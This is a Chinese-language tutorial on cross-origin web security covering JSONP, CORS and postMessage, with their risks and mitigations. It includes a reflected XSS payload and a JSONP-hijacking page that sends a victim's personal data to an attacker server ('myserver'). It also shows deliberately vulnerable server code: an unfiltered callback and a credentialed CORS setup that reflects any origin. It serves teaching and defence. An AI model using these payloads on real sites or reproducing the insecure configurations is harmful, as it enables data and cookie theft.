一、 跨域
1.1 同源策略
同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。
同源策略必须要同时满足以下三个条件,只要有任何一个不同,都被当作是不同的域:
1、协议相同
2、域名相同
3、端口号相同
举例说明:
协议 | 域名 | 端口 | 是否同源 | 原因 |
---|---|---|---|---|
http | www.xxx.com | 3000 | ||
http | www.yyy.com | 3000 | 否 | 域名不同 |
https | www.xxx.com | 3000 | 否 | 协议不同 |
http | www.xxx.com | 8000 | 否 | 端口不同 |
1.2 同源策略限制
同源策略限制了只有同源的脚本才会被执行,当打开一个网站的时候,会首先检查是否同源,如果非同源,在请求数据的时候,浏览器就会进行拦截报异常,拒绝访问。
1.3 跨域目的
绕过同源策略的严格限制,实现以下需求:
1、跨域请求/跨域跳转
2、跨域操作DOM
二、跨域方式
- JSONP
- iframe
- CORS
- 代理
- postMessage
- document.domain
- canvas操作图片的跨域问题
三、跨域安全漏洞
3.1 JSONP跨域
3.1.1 jsonp跨域原理
利用<script>标签没有跨域限制的漏洞,网页可以从其他来源域动态获取json数据,jsonp跨域请求一定需要对方的服务器支持才可以。
3.1.2 jsonp实现流程
1、服务端必须支持jsonp,且拥有jsonp跨域接口(前提)
2、浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据
3、创建一个<script>标签,把跨域的API数据接口加载到src属性,并且在这个地址向服务器传递该回调函数名
4、服务器会将数据返回到浏览器客户端,此时客户端会调用回调函数,对返回的数据进行处理
3.1.3 jsonp代码实战
node 服务端
router.get("/jsonp", function(req, res, next) {
var _callback = req.query.callback;
var _data = { email: 'example@163.com', name: 'test' };
if (_callback) {
res.type('text/javascript');
res.send(_callback + '(' + JSON.stringify(_data) + ')');
}else {
res.json(_data);
}
});
前端
<script src="http://localhost:3000/jsonp?callback=alert(1)"></script>
以上即为一个简单的jsonp的服务端接口,假设该接口是一个获取用户的个人信息的接口,那么此时只要请求该接口,每个用户就获取到自己该有的个人信息!
3.1.4 JSONP安全威胁
JSONP威胁点通常有两个:
1、对于输入的callback函数名过滤不严格,导致输入的数据直接输出到前端造成XSS
2、JSONP劫持漏洞,由于对于来源域没有严格限制,因此来源于不安全的域的请求也会被响应
a、XSS
反射性XSS漏洞很简单,在get请求中直接构造xss payload即可
http://localhost:3000/jsonp?callback=alert(1)
危害:可以获取到用户的cookie信息或者劫持用户跳转到钓鱼网站
b、JSONP劫持
JSONP劫持,实质上算是一种读类型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。
(1)钓鱼站点
<template>
<div class="hello">
jsonp hack --- 钓鱼站点
</div>
</template>
<script>
import $ from 'jquery'
export default {
name: 'jsonp_hack',
data () {
return {
}
},
created(){
const that = this;
$.ajax({
type : "get",
async:false,
url : "http://localhost:3000/jsonp",
dataType : "jsonp",//数据类型为jsonp
jsonp: "callback",//服务端用于接收callback调用的function名的参数
success : function(data){
that.jsonp_hack(data);
},
error:function(){
alert('fail');
}
});
},
methods: {
jsonp_hack: function(v) {
alert("jsonp劫持");
var h = "";
for (var key in v) {
var a = "";
a = key + " : " + v[key] + " ,";
h += a;
}
alert(h);
$.get("http://myserver?value=" + h);
}
}
}
</script>
(2)漏洞利用效果
一旦被攻击者访问该网页,就会自动触发,会自动访问具有漏洞的jsonp接口,利用被攻击者自己的session获取到被攻击者的信息,并将该信息远程发送到攻击者的服务器上
3.2 CORS跨域
3.2.1 CORS跨域原理
CORS(Cross Origin Resource Sharing),跨域资源共享,为了弥补JSONP等跨域常见技术的缺陷,而提出的安全方便的跨域方案。它允许浏览器想跨域服务器,发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持,相比JSONP更加复杂,但是一般目前的浏览器都是支持的,服务器只需要进行相应配置,其通信过程都是浏览器自动完成,对于开发人员来说,跟写AJAX的代码没有区别,只是会在发送跨域请求时在HTTP请求头中添加一些字段来验证,关键字段如下:
1、Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
2、Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。
3、Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。
3.2.2 CORS实现流程
1、服务器配置支持CORS,默认认可所有域都可以访问
2、浏览器客户端把所在的域填充到Origin发送跨域请求
3、服务器根据资源权限配置,在响应头中添加Access-Control-Allow-Origin Header,返回结果
4、浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面
3.2.3 CORS代码实战
利用Node代码实现CORS,只需要在服务器端的代码中加入header字段
a、localhost:3000 服务端代码
router.get("/cors", function(req, res, next) {
res.header("Access-Control-Allow-Credentials", "true");
res.header(
"Access-Control-Allow-Headers",
"Origin, X-Requested-With, Content-Type, Accept"
);
res.header("Access-Control-Allow-Origin", req.headers.origin);
res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
res.json(JSON.stringify(_data));
});
代码简单解释,声明一个个人信息的接口
b、localhost:8080 域中客户端代码
var url = "http://localhost:3000/cors";
$.get(url, function(data) {
alert(data);
}, "json");
代码简单解释,localhost:8080 利用ajax异步访问 localhost:3000 cors接口
c、代码效果演示
3.2.4 CORS安全威胁
CORS一般最常见的安全威胁就是CORS错误配置导致资源信息泄漏,与JSONP劫持基本上一致。
漏洞原理:通常开发人员使用CORS一般默认允许来自所有域或者由于错误的正则匹配方式造成绕过规定的白名单域
3.3 PostMessage跨域
3.3.1 PostMessage跨域原理
PostMeaage是H5新引入的实现跨域窗口之间的通讯,可以安全地实现windows对象之间的跨域通信
PostMessage主要依靠Window.postMessage方法,该方法有三个参数
1、message:发送到其他窗口的数据
2、targetOrigin:接受数据消息的目标窗口,当该值为星号(* )表示任意一个域都可以接受消息
3、transfer: 一串和message 同时传递的
Transferable
对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
除了发送之外,必然有一个接受消息的窗口,一般用window.addEventListener(“message”, receiveMessage.false),用以接受消息数据
3.3.2 PostMessage实现流程
1、创建一个页面A,定义一个Postmessage方法
2、创建一个页面B,定义一个window.addEventListener(“message”,function)方法接受来源于Postmessage方法的消息
3、页面A使用Iframe标签包含页面B,触发Postmessage方法即可
3.3.3 PostMessage代码实战
a、localhost:3000 发送消息
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>missfresh-window.postMessage()跨域消息传递</title>
</head>
<body>
<div>
<input type="text" value="hello,missfresh" /><button id="send">发送消息</button>
</div>
<iframe
src="http://localhost:8080/#/reciveMessage"
width="500"
height="500"
id="receiver"
></iframe>
</body>
</html>
<script>
window.onload = function() {
var receiver = document.getElementById("receiver").contentWindow;
var btn = document.getElementById("send");
btn.addEventListener("click", function(e) {
e.preventDefault();
var val = document.getElementById("text").value;
receiver.postMessage(val + "!", "*");
});
};
</script>
b、localhost:8080 接收消息
window.onload = function() {
var messageEle = document.getElementById('message');
window.addEventListener('message', function (e) {
console.log(e.data);
messageEle.innerHTML = "从"+ e.origin +"收到消息: " + e.data;
});
}
c、代码演示效果
(1)未点击发送消息前
(2)点击发送消息后
3.3.4 PostMessage安全威胁
PostMessage跨越一般威胁点在于对于目标域限制不严格导致的,大多数开发人员由于对于postmessage防范中targetOrigin参数默认为* ,因此只要包含了该方法页面,构造利用代码,就能够获取到敏感信息。
a、攻击方式
(1)伪造数据发送端,造成XSS
(2)伪造数据获取端,类似JSONP劫持
b、实际案例(伪造数据发送端)
可以看到构造恶意xss,发送给目标域,就可以获取到目标域的cookie
(伪造数据接收端)
原理: 攻击者将发送端放于自己的vps上,诱导用户点击,用户点击后在伪造的接收端上便可收到用户的敏感信息。
四、跨域安全场景
业务场景跨域场景主要有以下两个场景
1、共享个人信息数据
2、共享cookie数据
4.1 共享cookie数据
目前常见的一种形式,就是统一登陆,所有的大型企业,基本上都采用这种方式,登陆验证后会在所有的该企业其他同三级域中授权,因此一旦某个域出现安全威胁后,就可能窃取到用户的cookie信息,就可以利用该用户的cookie信息伪装用户操作
4.2 共享个人信息数据
有些时候,可能不存在类似xss这类漏洞,直接获取到用户的cookie信息,但是为了数据在资产域中交换,常常利用jsonp、cors技术,但是会存在配置错误就导致,默认所有域可访问、正则被绕过,引入的某个JS资源该服务器不安全等因素,导致数据被劫持
五、跨域安全方案
对于跨域的安全域,要严格控制信任域,禁止配置默认所有域的情况,对于限制的正则表达式要严格测试通过
对于引入的JS等执行脚本,需要保证来源的安全性,避免来源服务器本身的不安全威胁
对于边缘业务子域,要控制其可信度,避免从边缘业务的漏洞影响核心业务
对于非归属业务,禁止子域分配给其他归属,避免第三方不遵守安全,存在漏洞风险,造成对归属业务的影响